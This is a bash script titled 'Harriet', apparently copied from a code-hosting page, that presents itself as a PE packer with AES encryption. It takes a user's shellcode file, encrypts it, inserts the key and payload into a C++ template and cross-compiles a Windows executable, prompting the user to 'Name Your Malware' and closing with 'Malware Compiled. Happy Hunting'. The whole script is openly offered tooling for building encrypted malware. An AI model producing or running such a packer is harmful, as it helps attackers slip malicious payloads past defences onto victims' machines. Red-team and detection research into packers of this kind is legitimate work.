Harriet.sh 2.1 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. __ _ ___ ___ _ _ _ __ ___ ___ | |__ _ __ ___ __ _ ___| |__
  13. / _` / __/ __| | | | '_ ` _ \ / _ \_____| '_ \| '__/ _ \/ _` |/ __| '_ \
  14. | (_| \__ \__ \ |_| | | | | | | __/_____| |_) | | | __/ (_| | (__| | | |
  15. \__,_|___/___/\__,_|_| |_| |_|\___| |_.__/|_| \___|\__,_|\___|_| |_|
  16. **Harriet**
  17. A PE Packer With AES Encryption
  18. EOF
  19. echo -e ${green}"Enter A Random Word!"${clear}
  20. echo ""
  21. read Random1
  22. echo""
  23. echo -e ${green}"Enter A Random Word!"${clear}
  24. echo ""
  25. read Random2
  26. echo ""
  27. echo -e ${green}"Enter A Random Word!"${clear}
  28. echo ""
  29. read Random3
  30. echo ""
  31. echo -e ${green}"Enter The Path To Your Shellcode File. ex: /home/user/Downloads/shellcode.bin"${clear}
  32. echo ""
  33. read Shellcode
  34. echo ""
  35. echo -e ${green}"Name Your Malware! ex: malware.exe"${clear}
  36. echo ""
  37. read Random4
  38. echo ""
  39. cp ../template.cpp Resources/template.cpp
  40. echo -e ${yellow}"Encrypting Payload" ${clear}
  41. echo ""
  42. sleep 2
  43. python2 aesencrypt.py $Shellcode > shell.txt
  44. echo -e ${yellow}"Encryption Completed"${clear}
  45. echo ""
  46. sed -i s/Random1/$Random1/g Resources/template.cpp
  47. sed -i s/Random2/$Random2/g Resources/template.cpp
  48. sed -i s/Random3/$Random3/g Resources/template.cpp
  49. cp shell.txt shell2.txt
  50. keys=$(cat "shell2.txt")
  51. cut -d 'p' -f1 shell2.txt > shell3.txt
  52. keys=$(cat shell3.txt)
  53. keysnow=${keys#*=}
  54. sed -i "s/KEYVALUE/$keysnow/g" Resources/template.cpp
  55. payload=$(cat "shell.txt")
  56. payloadnow=${payload#*;}
  57. payloadtoday=${payloadnow#*=}
  58. echo $payloadtoday > shell5.txt
  59. perl -pe 's/PAYVAL/`cat shell5.txt`/ge' -i Resources/template.cpp
  60. sleep 2
  61. echo -e ${yellow}"Compiling Malware"${clear}
  62. x86_64-w64-mingw32-g++ -o $Random4 Resources/template.cpp -fpermissive -Wno-narrowing >/dev/null 2>&1
  63. echo ""
  64. sleep 2
  65. echo -e ${yellow}"Malware Compiled. Happy Hunting"${clear}
  66. rm shell*